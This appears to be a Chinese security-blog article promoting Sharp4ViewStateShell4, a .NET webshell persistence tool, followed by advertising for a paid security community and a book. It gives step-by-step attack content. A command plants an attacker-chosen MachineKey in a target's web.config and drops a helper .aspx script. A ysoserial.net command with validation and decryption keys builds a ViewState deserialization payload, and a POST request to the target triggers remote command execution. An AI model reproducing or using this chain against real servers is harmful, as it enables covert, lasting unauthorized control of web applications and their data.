实战级权限维持,从配置到命令执行一键部署 ViewState WebShell
原文链接: https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499989&idx=3&sn=ffe4d01494f91fdfb954e714686d7dc2
实战级权限维持,从配置到命令执行一键部署 ViewState WebShell
原创 专攻.NET安全的 dotNet安全矩阵 2025-07-01 00:31
在红队渗透测试中,权限维持是核心环节之一。尤其在面对已成功打点的 .NET Web 服务时,如何在不落盘、不依赖权限提升的前提下,实现长时间稳定控制,始终是红队技术演进的方向。
Sharp4ViewStateShell4
,正是围绕该目标设计的一款新一代 .NET Web 权限维持工具
。基于经典的
ViewState
反序列化漏洞实现远程命令执行,同时通过自动化配置修改、辅助脚本释放与防护绕过等多重手段,构建出一个更稳定、隐蔽、适配性更强的 WebShell 渗透利用链。
01. 工具基本介绍
Sharp4ViewStateShell
__VIEWSTATEGENERATOR
Web.config,防止脚本运行限制与目录统一重定向策略,增强落地成功率。
02. 工具实战用法
.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题,保存控件状态信息。但如果目标应用开启了
EnableViewStateMac="true"
并使用弱或可控的 MachineKey,攻击者就可以伪造 ViewState,借助 ysoserial.net 工具构造反序列化链,从而实现命令执行RCE。
2.1 一键修改配置文件
修改目标
假设目标站点的物理路径为:C:\
inetpub\wwwroot\,
在具有写入权限的目录,
Upload
下执行如下命令:
Sharp4ViewStateShell4.exe "C:\inetpub\wwwroot"
该命令会完成以下操作:修改web.config
,插入预设的MachineKey:
<machineKey
validationKey="B8D7C72D38E8972EA6B955F2D4C8D5B0A2E3F4C6A9B1D3E5F7A9C8B6D4E2F1"
decryptionKey="E4D5C6B3A8F9E7D6C5B4A3F2E1D0C9B8A7"
validation="SHA1"
decryption="AES"/>
在Upload目录下生成随机的脚本名,用于获取
__VIEWSTATEGENERATOR
值,比如HBJhbo_GenerateViewState.aspx。
2.2 构建测试载荷
只需根据辅助脚本获取的
__VIEWSTATEGENERATOR
值,并结合工具预设的 MachineKey,即可使用
ysoserial.net
工具构造反序列化 payload:
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \
--validationalg="SHA1" \
--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \
--decryptionalg="AES" \
--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \
--generator="DBC4925F"
该命令会输出Base64编码的
__VIEWSTATE
值,用于后续操作,
构造POST请求,将生成的ViewState数据发送至目标。
POST /随机名_GenerateViewState.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length:1024
__VIEWSTATE=[Base64 Payload]
如一切配置正确,将在页面响应中看到命令结果,比如
tasklist
。
综上,
Sharp4ViewStateShell4
.exe
释放了一个
GenerateViewState脚本,更加容易获取__VIEWSTATEGENERATOR 参数值,再加上
__VIEWSTATEGENERATOR 参数值,再加上
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。
文章涉及的工
具已
打包在星球,感兴趣的朋友可以加入自取。
03.NET安全扩展学习
以上相关的知识点已收录于
新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
04. 技术精华内容
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
05. 加入安全社区
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最专业的技术知识库之一,超 1200+
成员一起互动学习。星球主题数量近 600+
,精华主题
230+
,PDF文档和压缩包
300+
。从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的实战指南和最佳实践。
20+专栏文章
星球文化始终认为授人以鱼不如授人以渔!星球整理出20+
个专题栏目涵盖 .NET安全 点、线、面、体等知识范围
,助力师傅们实战攻防!其中主题包括.NET 内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。
海量资源和工具
截至当前,dot.Net安全矩阵星球社区汇聚了
600+
个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面,在实战中能够发挥显著作用,为对抗突破提供强有力的支持。
专属成员交流群
我们还有多个成员专属的
内部星球陪伴群
,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
已入驻的大咖们
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多
高质量的.NET安全资源
,可以说市面上很少见,都是干货。
欢迎加入我们
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!